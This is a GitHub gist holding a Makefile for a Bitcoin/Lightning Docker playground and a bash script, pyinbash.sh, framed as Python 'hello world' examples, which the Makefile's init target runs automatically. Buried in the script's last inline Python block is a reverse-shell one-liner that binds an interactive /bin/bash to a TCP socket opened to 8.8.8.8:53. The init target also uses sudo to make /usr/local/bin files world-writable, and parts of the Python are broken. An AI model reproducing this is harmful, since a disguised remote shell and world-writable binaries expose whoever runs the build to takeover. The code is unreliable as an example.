Skip to content

Instantly share code, notes, and snippets.

@RandyMcMillan
Last active July 12, 2022 23:22
Show Gist options
  • Save RandyMcMillan/40ee3450fa2639a36f68b31b5d2bcd0e to your computer and use it in GitHub Desktop.
Save RandyMcMillan/40ee3450fa2639a36f68b31b5d2bcd0e to your computer and use it in GitHub Desktop.
make help example
pyinbash.sh
pyscript.py
scripts
scripts/*
SHELL := /bin/bash
PWD ?= pwd_unknown
THIS_FILE := $(lastword $(MAKEFILE_LIST))
export THIS_FILE
TIME := $(shell date +%s)
export TIME
ARCH :=$(shell uname -m)
export ARCH
ifeq ($(ARCH),x86_64)
TRIPLET :=x86_64-linux-gnu
export TRIPLET
endif
ifeq ($(ARCH),arm64)
TRIPLET :=aarch64-linux-gnu
export TRIPLET
endif
#available services:
# bitcoind
# lnd
# tor
# thunderhub
# rtl
# notebook
# dashboard
# lndg
# docs
ifeq ($(services),)
services :=bitcoind,lnd,cln,rtl,thunderhub,docs
else
services :=$(services)
endif
export services
ifeq ($(user),)
HOST_USER := root
HOST_UID := $(strip $(if $(uid),$(uid),0))
else
HOST_USER := $(strip $(if $(USER),$(USER),nodummy))
HOST_UID := $(strip $(if $(shell id -u),$(shell id -u),4000))
endif
export HOST_USER
export HOST_UID
ifeq ($(target),)
SERVICE_TARGET ?= shell
else
SERVICE_TARGET := $(target)
endif
export SERVICE_TARGET
ifeq ($(docker),)
DOCKER := $(shell which docker)
else
DOCKER := $(docker)
endif
export DOCKER
ifeq ($(compose),)
DOCKER_COMPOSE := $(shell which docker-compose)
else
DOCKER_COMPOSE := $(compose)
endif
export DOCKER_COMPOSE
ifeq ($(reset),true)
RESET:=true
else
RESET:=false
endif
export RESET
PYTHON := $(shell which python)
export PYTHON
PYTHON2 := $(shell which python2)
export PYTHON2
PYTHON3 := $(shell which python3)
export PYTHON3
PIP := $(shell which pip)
export PIP
PIP2 := $(shell which pip2)
export PIP2
PIP3 := $(shell which pip3)
export PIP3
python_version_full := $(wordlist 2,4,$(subst ., ,$(shell python3 --version 2>&1)))
python_version_major := $(word 1,${python_version_full})
python_version_minor := $(word 2,${python_version_full})
python_version_patch := $(word 3,${python_version_full})
my_cmd.python.3 := $(PYTHON3) some_script.py3
my_cmd := ${my_cmd.python.${python_version_major}}
PYTHON_VERSION := ${python_version_major}.${python_version_minor}.${python_version_patch}
PYTHON_VERSION_MAJOR := ${python_version_major}
PYTHON_VERSION_MINOR := ${python_version_minor}
export python_version_major
export python_version_minor
export python_version_patch
export PYTHON_VERSION
#PROJECT_NAME defaults to name of the current directory.
ifeq ($(project),)
PROJECT_NAME := $(notdir $(PWD))
else
PROJECT_NAME := $(project)
endif
export PROJECT_NAME
#GIT CONFIG
GIT_USER_NAME := $(shell git config user.name)
export GIT_USER_NAME
GIT_USER_EMAIL := $(shell git config user.email)
export GIT_USER_EMAIL
GIT_SERVER := https://github.com
export GIT_SERVER
GIT_REPO_NAME := $(PROJECT_NAME)
export GIT_REPO_NAME
#Usage
#make package-all profile=rsafier
#make package-all profile=asherp
#note on GH_TOKEN.txt file below
ifeq ($(profile),)
GIT_PROFILE := $(GIT_USER_NAME)
ifeq ($(GIT_REPO_ORIGIN),git@github.com:PLEBNET_PLAYGROUND/plebnet-playground-docker.dev.git)
GIT_PROFILE := PLEBNET-PLAYGROUND
endif
ifeq ($(GIT_REPO_ORIGIN),https://github.com/PLEBNET_PLAYGROUND/plebnet-playground-docker.dev.git)
GIT_PROFILE := PLEBNET-PLAYGROUND
endif
else
GIT_PROFILE := $(profile)
endif
export GIT_PROFILE
GIT_BRANCH := $(shell git rev-parse --abbrev-ref HEAD)
export GIT_BRANCH
GIT_HASH := $(shell git rev-parse --short HEAD)
export GIT_HASH
GIT_PREVIOUS_HASH := $(shell git rev-parse --short HEAD^1)
export GIT_PREVIOUS_HASH
GIT_REPO_ORIGIN := $(shell git remote get-url origin)
export GIT_REPO_ORIGIN
GIT_REPO_PATH := $(HOME)/$(GIT_REPO_NAME)
export GIT_REPO_PATH
ifneq ($(bitcoin-datadir),)
BITCOIN_DATA_DIR := $(bitcoin-datadir)
else
BITCOIN_DATA_DIR := $(HOME)/.bitcoin
endif
export BITCOIN_DATA_DIR
ifeq ($(nocache),true)
NOCACHE := --no-cache
#Force parallel build when --no-cache to speed up build
PARALLEL := --parallel
else
NOCACHE :=
PARALLEL :=
endif
ifeq ($(parallel),true)
PARALLEL := --parallel
endif
ifeq ($(para),true)
PARALLEL := --parallel
endif
export NOCACHE
export PARALLEL
ifeq ($(verbose),true)
VERBOSE := --verbose
else
VERBOSE :=
endif
export VERBOSE
#TODO more umbrel config testing
ifeq ($(port),)
PUBLIC_PORT := 80
else
PUBLIC_PORT := $(port)
endif
export PUBLIC_PORT
ifeq ($(nodeport),)
NODE_PORT := 8333
else
NODE_PORT := $(nodeport)
endif
export NODE_PORT
ifneq ($(passwd),)
PASSWORD := $(passwd)
else
PASSWORD := changeme
endif
export PASSWORD
ifeq ($(cmd),)
CMD_ARGUMENTS :=
else
CMD_ARGUMENTS := $(cmd)
endif
export CMD_ARGUMENTS
#ifeq ($(umbrel),true)
##comply with umbrel conventions
#PWD=/home/umbrel/umbrel/apps/$(PROJECT_NAME)
#UMBREL=true
#else
#pwd ?= pwd_unknown
#UMBREL=false
#endif
#export PWD
#export UMBREL
########################
PACKAGE_PREFIX := ghcr.io
export PACKAGE_PREFIX
.PHONY: - all
-:
#NOTE: 2 hashes are detected as 1st column output with color
@awk 'BEGIN {FS = ":.*?## "} /^[a-zA-Z_-]+:.*?##/ {printf "\033[36m%-15s\033[0m %s\n", $$1, $$2}' $(MAKEFILE_LIST)
.PHONY: help
help:## print verbose help
@echo 'make [COMMAND] [EXTRA_ARGUMENTS] '
@echo ''
@echo 'make '
@echo ' make all install and run playground and cluster'
@echo ' make help print help'
@echo ' make report print environment variables'
@echo ' nocache=true verbose=true'
@echo ''
@echo ' [DEV ENVIRONMENT]: '
@echo ''
@echo ' make signin profile=gh-user ~/GH_TOKEN.txt required from github.com'
@echo ' make build'
@echo ' make package-all'
@echo ''
@echo ' [EXAMPLES]:'
@echo ''
@echo ' make run nocache=true verbose=true'
@echo ''
@echo ' make init && play help'
@echo ''
@sed -n 's/^# //p' ${MAKEFILE_LIST} | column -t -s ':' | sed -e 's/^/# /'
@sed -n 's/^## //p' ${MAKEFILE_LIST} | column -t -s ':' | sed -e 's/^/## /'
@sed -n 's/^### //p' ${MAKEFILE_LIST} | column -t -s ':' | sed -e 's/^/### /'
.PHONY: report
report:## print environment arguments
@echo ''
@echo ' [ARGUMENTS] '
@echo ' args:'
@echo ' - THIS_FILE=${THIS_FILE}'
@echo ' - TIME=${TIME}'
@echo ' - ARCH=${ARCH}'
@echo ' - TRIPLET=${TRIPLET}'
@echo ' - PROJECT_NAME=${PROJECT_NAME}'
@echo ' - HOME=${HOME}'
@echo ' - PWD=${PWD}'
@echo ' - PYTHON=${PYTHON}'
@echo ' - PYTHON3=${PYTHON3}'
@echo ' - PYTHON_VERSION=${PYTHON_VERSION}'
@echo ' - PYTHON_VERSION_MAJOR=${PYTHON_VERSION_MAJOR}'
@echo ' - PYTHON_VERSION_MINOR=${PYTHON_VERSION_MINOR}'
@echo ' - PIP=${PIP}'
@echo ' - PIP3=${PIP3}'
@echo ' - PACKAGE_PREFIX=${PACKAGE_PREFIX}'
@echo ' - HOST_USER=${HOST_USER}'
@echo ' - HOST_UID=${HOST_UID}'
@echo ' - SERVICE_TARGET=${SERVICE_TARGET}'
@echo ' - DOCKER_COMPOSE=${DOCKER_COMPOSE}'
@echo ' - GIT_USER_NAME=${GIT_USER_NAME}'
@echo ' - GIT_USER_EMAIL=${GIT_USER_EMAIL}'
@echo ' - GIT_SERVER=${GIT_SERVER}'
@echo ' - GIT_PROFILE=${GIT_PROFILE}'
@echo ' - GIT_BRANCH=${GIT_BRANCH}'
@echo ' - GIT_HASH=${GIT_HASH}'
@echo ' - GIT_PREVIOUS_HASH=${GIT_PREVIOUS_HASH}'
@echo ' - GIT_REPO_ORIGIN=${GIT_REPO_ORIGIN}'
@echo ' - GIT_REPO_NAME=${GIT_REPO_NAME}'
@echo ' - GIT_REPO_PATH=${GIT_REPO_PATH}'
@echo ' - NOCACHE=${NOCACHE}'
@echo ' - VERBOSE=${VERBOSE}'
@echo ' - PASSWORD=${PASSWORD}'
@echo ' - CMD_ARGUMENTS=${CMD_ARGUMENTS}'
#######################
ORIGIN_DIR:=$(PWD)
MACOS_TARGET_DIR:=/var/root/$(PROJECT_NAME)
LINUX_TARGET_DIR:=/root/$(PROJECT_NAME)
export ORIGIN_DIR
export TARGET_DIR
.PHONY: all venv test-venv init
all: init## all
venv:## create python3 virtualenv .venv
test -d .venv || $(PYTHON3) -m virtualenv .venv
( \
source .venv/bin/activate; pip install -r requirements.txt; \
);
@echo "To activate (venv)"
@echo "try:"
@echo ". .venv/bin/activate"
@echo "or:"
@echo "make test-venv"
test-venv:## test virutalenv .venv
# insert test commands here
test -d .venv || $(PYTHON3) -m virtualenv .venv
( \
source .venv/bin/activate; pip install -r requirements.txt; \
);
.PHONY: init
init: venv## basic setup
ifneq ($(shell id -u),0)
@echo
@echo $(shell id -u -n) 'try:'
@echo 'make super'
@echo 'If permissions issue...'
@echo
endif
git config --global --add safe.directory $(PWD)
$(PYTHON3) -m pip install --upgrade pip 2>/dev/null
$(PYTHON3) -m pip install -q -r requirements.txt 2>/dev/null
mkdir -p scripts
install -v pyinbash.sh scripts/
chown -R $(shell id -u) * || echo
bash -c "scripts/pyinbash.sh"
pushd $(PWD)/scripts > /dev/null; for string in *; do sudo chmod -R o+rwx /usr/local/bin/$$string; done; popd 2>/dev/null || echo
.PHONY: build
build: init
$(DOCKER_COMPOSE) $(VERBOSE) build --pull $(PARALLEL) --no-rm $(NOCACHE)
#######################
.PHONY: docs
docs: init
@echo "Use 'make docs nocache=true' to force docs rebuild..."
echo "## MAKE COMMAND" >> MAKE.md
echo '```' > MAKE.md
make help >> MAKE.md
echo '```' >> MAKE.md
#.PHONY: run
#run: build
# @echo 'run'
#ifeq ($(CMD_ARGUMENTS),)
# @echo '$(CMD_ARGUMENTS)'
# $(DOCKER_COMPOSE) $(VERBOSE) -p $(PROJECT_NAME)_$(HOST_UID) run -d --publish $(PUBLIC_PORT):3000 --publish 8125:8125 --publish 8126:8126 --publish 8333:8333 --publish 8332:8332 statoshi sh
# @echo ''
#else
# @echo ''
# $(DOCKER_COMPOSE) $(VERBOSE) -p $(PROJECT_NAME)_$(HOST_UID) run -d --publish $(PUBLIC_PORT):3000 --publish 8125:8125 --publish 8126:8126 --publish 8333:8333 --publish 8332:8332 statoshi sh -c "$(CMD_ARGUMENTS)"
# @echo ''
#endif
# @echo 'Give grafana a few minutes to set up...'
# @echo 'http://localhost:$(PUBLIC_PORT)'
########################
.PHONY: clean
clean:
# remove created images
@$(DOCKER_COMPOSE) -p $(PROJECT_NAME) down --remove-orphans --rmi all 2>/dev/null \
&& echo 'Image(s) for "$(PROJECT_NAME)" removed.' \
|| echo 'Image(s) for "$(PROJECT_NAME)" already removed.'
#######################
.PHONY: prune-system prune-network
prune-system:## docker system prune -af (very destructive!)
$(DOCKER_COMPOSE) -p $(PROJECT_NAME) down
docker system prune -af &
#######################
prune-network:## remove $(PROJECT_NAME) network
$(DOCKER_COMPOSE) -p $(PROJECT_NAME) down
docker network rm $(PROJECT_NAME)* 2>/dev/null || echo
#######################
.PHONY: push
push:
@echo push
git checkout -b $(TIME)/$(GIT_PREVIOUS_HASH)/$(GIT_HASH)
git push --set-upstream origin $(TIME)/$(GIT_PREVIOUS_HASH)/$(GIT_HASH)
git add docs
git commit --amend --no-edit --allow-empty || echo failed to commit --amend --no-edit
git push -f origin $(TIME)/$(GIT_PREVIOUS_HASH)/$(GIT_HASH):$(TIME)/$(GIT_PREVIOUS_HASH)/$(GIT_HASH)
SIGNIN=randymcmillan
export SIGNIN
.PHONY: signin package-docker package-all
signin:
bash -c 'cat ~/GH_TOKEN.txt | docker login ghcr.io -u $(GIT_PROFILE) --password-stdin'
#Place a file named GH_TOKEN.txt in your $HOME - create in https://github.com/settings/tokens (Personal access tokens)
package-docker: signin
bash -c 'docker tag $(PROJECT_NAME) $(PACKAGE_PREFIX)/$(GIT_PROFILE)/$(PROJECT_NAME)/$(TRIPLET)/$(HOST_USER):$(TIME) || echo skip'
bash -c 'docker push $(PACKAGE_PREFIX)/$(GIT_PROFILE)/$(PROJECT_NAME)/$(TRIPLET)/$(HOST_USER):$(TIME) || echo skip'
.PHONY: package-all
package-all: init package-docker
#INSERT other scripting here
bash -c "echo insert more scripting here..."
#!/usr/bin/env bash
PYTHON3=$(which python3)
export PYTHON3
echo
echo "Begin python3 -c example"
if [ -x $PYTHON3 ]; then
echo Using: $PYTHON3
$PYTHON3 -c "print('Hello, world')"
else
PYTHON3=$(brew --prefix)/opt/python/libexec/bin
if [ -x $PYTHON3 ]; then
echo Using: $PYTHON3
$PYTHON3 -c "print('Hello, world')"
else
echo 'else else Hello World'
fi
echo 'else Hello World'
fi
echo "End python3 -c example"
echo
echo "Begin inline example"
$PYTHON3 - << EOF
import socket
import subprocess
import ipaddress
import asyncio
import urllib.request
def get_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(0)
try:
# doesn't even have to be reachable
s.connect(('10.255.255.255', 1))
IP = s.getsockname()[0]
except Exception:
IP = '127.0.0.1'
finally:
s.close()
return IP
print("Inline python3 execution!")
print("local_ip="+get_ip())
EOF
echo "End inline example"
echo
echo "Begin create pyscript.py"
cat << EOF > pyscript.py
#!/usr/bin/env python3
import sys
import socket
import subprocess
import ipaddress
import asyncio
import urllib.request
print(sys.version_info[0])
print(sys.version_info[1])
print(sys.version_info[2])
if not sys.version_info > (2,7,0):
print("This is python@2.7!!!")
if sys.version_info > (2,7,16):
print("This is python@2.7.16!!!")
elif sys.version_info > (3,0):
print("This is python3!!!")
if sys.version_info < (3,10,0):
print("Please upgrade to a version greater than 3.9!!!")
def get_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(0)
try:
# doesn't even have to be reachable
s.connect(('10.255.255.255', 1))
IP = s.getsockname()[0]
except Exception:
IP = '127.0.0.1'
finally:
s.close()
return IP
async def get_local_ip():
global local_ip
loop = asyncio.get_event_loop()
transport, protocol = await loop.create_datagram_endpoint(
asyncio.DatagramProtocol,
remote_addr=('8.8.8.8', 80))
result = transport.get_extra_info('sockname')[0]
transport.close()
local_ip=result
return result
print("local_ip="+asyncio.run(get_local_ip()))
IP_WEBSITES = (
'https://ipinfo.io/ip',
'https://ipecho.net/plain',
'https://api.ipify.org',
'https://ipaddr.site',
'https://icanhazip.com',
'https://ident.me',
'https://curlmyip.net',
)
def get_public_ip():
for ipWebsite in IP_WEBSITES:
try:
response = urllib.request.urlopen(ipWebsite)
charsets = response.info().get_charsets()
if len(charsets) == 0 or charsets[0] is None:
charset = 'utf-8' # Use utf-8 by default
else:
charset = charsets[0]
userIp = response.read().decode(charset).strip()
return userIp
except:
pass # Network error, just continue on to next website.
# Either all of the websites are down or returned invalid response
# (unlikely) or you are disconnected from the internet.
return None
# print(get_public_ip())
def find_free_port():
with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:
s.bind(("", 0))
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
return s.getsockname()[1]
def get_hostname():
host_name = socket.gethostname()
return host_name
def get_host():
global hostname
global public_ip
# hostname = socket.getfqdn()
# print("hostname=" + hostname)
hostname = socket.gethostname()
print("hostname=" + hostname)
IP_addres = socket.gethostbyname("$hostname")
print("public_ip=" + get_public_ip())
return hostname
addr = ("", $1) # all interfaces, port $1
def create_server():
for ip in ipaddress.IPv4Network('0.0.0.0/0'):
print(f'{ip}')
if socket.has_dualstack_ipv6():
s = socket.create_server(addr, family=socket.AF_INET6, dualstack_ipv6=True)
else:
s = socket.create_server(addr)
for ip in ipaddress.IPv4Network('0.0.0.0:$1'):
print(f'{ip}')
if socket.has_dualstack_ipv6():
s = socket.create_server(addr, family=socket.AF_INET6, dualstack_ipv6=True)
else:
s = socket.create_server(addr)
# create_server()
# get_host()
print(get_host())
print(get_hostname())
print('Hello python3!!!')
# subprocess.call(["lsof","-i", "-P"])
EOF
echo "End create pyscript.py"
chmod 755 pyscript.py
./pyscript.py
echo
echo "Begin inline python example!"
PYTHON=$(which python)
$PYTHON - << EOF
import sys
import os
import socket
import subprocess
import ipaddress
# print(sys.version_info)
if sys.version_info > (2,7,0):
print "This is python@2.7!!!"
if sys.version_info > (2,7,16):
print "This is python@2.7.16!!!"
elif sys.version_info > (3,0):
print "This is python3!!!"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.8.8.8",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
print([l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1], [[(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0][0])
EOF
echo "End inline python example!"
echo
echo "Back to bash"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment